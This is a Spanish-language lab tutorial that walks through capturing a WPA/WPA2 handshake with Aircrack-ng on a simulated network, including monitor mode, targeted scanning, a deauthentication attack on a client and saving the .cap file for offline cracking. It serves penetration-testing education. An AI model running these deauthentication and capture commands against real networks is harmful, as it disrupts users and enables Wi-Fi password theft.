Introducción
El handshake de cuatro vías WPA/WPA2 es un componente crítico de la seguridad Wi-Fi moderna. Es el proceso mediante el cual un cliente y un punto de acceso (AP) demuestran que conocen la clave precompartida (la contraseña de Wi-Fi) sin transmitirla directamente. Capturar este handshake es el primer paso en un ataque de fuerza bruta o de diccionario para recuperar la contraseña de Wi-Fi.
En este laboratorio, aprenderá a utilizar la potente suite de herramientas Aircrack-ng para realizar esta captura. Utilizaremos airmon-ng para poner su tarjeta inalámbrica en modo monitor, airodump-ng para escanear y apuntar a una red específica, y aireplay-ng para forzar a un cliente a reautenticarse, generando así un handshake para que lo capturemos.
Este laboratorio simula un escenario del mundo real. Se le proporcionará una interfaz inalámbrica wlan0 y una red objetivo para practicar dentro del entorno del laboratorio.
Poner el Adaptador Inalámbrico en Modo Monitor
En este paso, prepararemos nuestro adaptador inalámbrico para capturar tráfico de red. Por defecto, un adaptador inalámbrico opera en "modo gestionado" (managed mode), lo que significa que solo presta atención al tráfico destinado a él. Para capturar todo el tráfico Wi-Fi en el aire, necesitamos cambiarlo a "modo monitor" (monitor mode). Utilizaremos la herramienta airmon-ng para esto.
Primero, veamos el nombre de nuestra interfaz inalámbrica. Abra una terminal y ejecute el comando iwconfig.
iwconfig
Debería ver una interfaz listada, generalmente llamada wlan0.
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Ahora, use airmon-ng para iniciar el modo monitor en la interfaz wlan0. Este comando puede detener algunos procesos de red que podrían interferir con la captura.
sudo airmon-ng start wlan0
La salida confirmará que el modo monitor se ha habilitado. Generalmente crea una nueva interfaz virtual, a menudo llamada wlan0mon, para la monitorización.
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.
PID Name
591 wpa_supplicant
668 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
Puede verificar que la nueva interfaz wlan0mon está en modo monitor ejecutando iwconfig nuevamente.
iwconfig wlan0mon
La salida debería mostrar Mode:Monitor.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
Ejecutar airodump-ng para Encontrar el BSSID y Canal del Objetivo
En este paso, utilizaremos airodump-ng para escanear las ondas de radio e identificar nuestra red objetivo. airodump-ng es una herramienta potente para capturar tramas 802.11 y descubrir puntos de acceso cercanos y clientes conectados.
Ahora que nuestra interfaz wlan0mon está en modo monitor, podemos iniciar el escaneo. Ejecute el siguiente comando en su terminal:
sudo airodump-ng wlan0mon
Su terminal se llenará con una lista de todas las redes Wi-Fi que airodump-ng puede detectar. La visualización se divide en dos partes. La parte superior lista los Puntos de Acceso (APs), y la parte inferior lista los clientes conectados (Estaciones).
Analicemos las columnas clave para los APs:
- BSSID: La dirección MAC del Punto de Acceso. Este es su identificador de hardware único.
- CH: El canal en el que opera la red.
- ESSID: El nombre legible de la red Wi-Fi (por ejemplo, "MiWiFiCasa").
Aquí tiene un ejemplo de lo que podría ver:
CH 6 ][ Elapsed: 3 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 0 0 6 54e WPA2 CCMP PSK LabEx_WiFi
C8:D3:FF:A1:B2:C3 -65 8 0 0 1 54e WPA2 CCMP PSK AnotherWiFi
BSSID STATION PWR Rate Lost Frames Probe
Para este laboratorio, nuestra red objetivo es LabEx_WiFi. De la salida anterior, identifique su BSSID (00:11:22:33:44:55) y su CH (6). Necesitará estos datos para el siguiente paso.
Una vez que haya anotado el BSSID y el canal, presione Ctrl+C en la terminal para detener el proceso de escaneo.
Ejecutar airodump-ng Dirigido al BSSID y Canal Específicos
En este paso, enfocaremos nuestra captura únicamente en la red objetivo. Ejecutar un escaneo general como hicimos en el paso anterior hace que la tarjeta inalámbrica "salte de canal" (channel hop), lo que significa que podríamos perder el handshake cuando ocurra. Para asegurar una captura exitosa, le indicaremos a airodump-ng que se bloquee en el canal de nuestro objetivo y solo escuche el tráfico de su BSSID.
También utilizaremos la opción -w para escribir los paquetes capturados en un archivo. Este archivo es el que contendrá el handshake.
Utilice el BSSID y el canal que identificó en el paso anterior (00:11:22:33:44:55 y 6) para construir el siguiente comando. Llamaremos a nuestro archivo de salida handshake_capture.
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon
Después de ejecutar este comando, la visualización de airodump-ng cambiará. Ahora solo mostrará información para la red LabEx_WiFi. También verá una lista de cualquier cliente (STATIONs) conectado a ella.
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 25 10 1 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1- 1 0 15
Importante: Deje esta terminal en ejecución. La necesitamos para continuar la captura. Para el siguiente paso, debe abrir una nueva ventana de terminal. Puede hacerlo haciendo clic nuevamente en el icono de terminal en el dock de aplicaciones del entorno.
Usar aireplay-ng para Desautenticar a un Cliente
En este paso, forzaremos activamente a que ocurra un handshake. Un handshake solo ocurre cuando un cliente se conecta o reconecta a un punto de acceso. Si un cliente ya está conectado, podemos esperar a que se desconecte de forma natural, pero esto podría llevar mucho tiempo. Un enfoque más proactivo es forzar su desconexión utilizando un "ataque de desautenticación".
Utilizaremos aireplay-ng para enviar paquetes de desautenticación especialmente diseñados a un cliente, haciéndole creer que ha sido desconectado por el AP. El cliente intentará reconectarse automáticamente, generando el handshake WPA que nuestro proceso airodump-ng (ejecutándose en la otra terminal) está esperando capturar.
Observe su primera ventana de terminal (la que ejecuta el airodump-ng dirigido). Debajo de la columna STATION, verá la dirección MAC de un cliente conectado. Para este laboratorio, asumiremos que la dirección MAC del cliente es AA:BB:CC:DD:EE:FF.
Ahora, en su nueva ventana de terminal, ejecute el siguiente comando aireplay-ng.
--deauth 5: Esto envía 5 paquetes de desautenticación. Un pequeño ráfaga suele ser suficiente.-a 00:11:22:33:44:55: Este es el BSSID de nuestro Punto de Acceso objetivo.-c AA:BB:CC:DD:EE:FF: Esta es la dirección MAC del cliente al que nos dirigimos.
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
Verá la salida de aireplay-ng confirmando que está enviando los paquetes.
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11 Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]
Ahora, comprobemos si nuestra captura fue exitosa.
Confirmar la Captura del Handshake en la Ventana de airodump-ng
En este paso final, confirmaremos que hemos capturado exitosamente el handshake WPA. El ataque de desautenticación que acabamos de realizar debería haber provocado que el cliente se reconectara, y airodump-ng debería haber capturado el handshake resultante.
Vuelva a enfocar su atención en su primera ventana de terminal, la que ha estado ejecutando airodump-ng y apuntando a LabEx_WiFi.
Mire la esquina superior derecha de la pantalla de airodump-ng. Si la captura fue exitosa, verá un mensaje que dice [ WPA handshake: 00:11:22:33:44:55 ].
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 80 115 8 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1-11 0 98
¡Ver este mensaje es su confirmación! Ha capturado exitosamente el handshake de cuatro vías.
Ahora puede detener ambos procesos presionando Ctrl+C en cada ventana de terminal.
Los datos capturados, incluido el handshake, se han guardado en archivos en su directorio actual. Puede listarlos con el comando ls -l.
ls -l
Debería ver varios archivos que comienzan con handshake_capture, siendo el más importante handshake_capture-01.cap.
-rw-r--r-- 1 root root 452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...
Este archivo .cap es el premio. Contiene el handshake y ahora puede usarse con herramientas como aircrack-ng o hashcat para intentos de cracking de contraseñas offline.
Resumen
¡Felicitaciones por completar este laboratorio! Ha realizado con éxito una de las técnicas fundamentales en las pruebas de penetración de Wi-Fi.
En este laboratorio, aprendió a:
- Poner un adaptador inalámbrico en modo monitor usando
airmon-ng. - Escanear redes inalámbricas cercanas para identificar un objetivo con
airodump-ng. - Enfocar
airodump-ngen un BSSID y canal específicos para prepararse para una captura dirigida, guardando los resultados en un archivo. - Usar
aireplay-ngpara realizar un ataque de desautenticación, forzando a un cliente a reconectarse. - Confirmar la captura del handshake WPA en la salida de
airodump-ng.
El archivo .cap que generó contiene los valiosos datos del handshake. El siguiente paso lógico en un compromiso real sería usar este archivo para intentar descifrar la contraseña de Wi-Fi, un tema para otro laboratorio. Ahora tiene una comprensión sólida del proceso manual para capturar esta pieza crítica de datos.
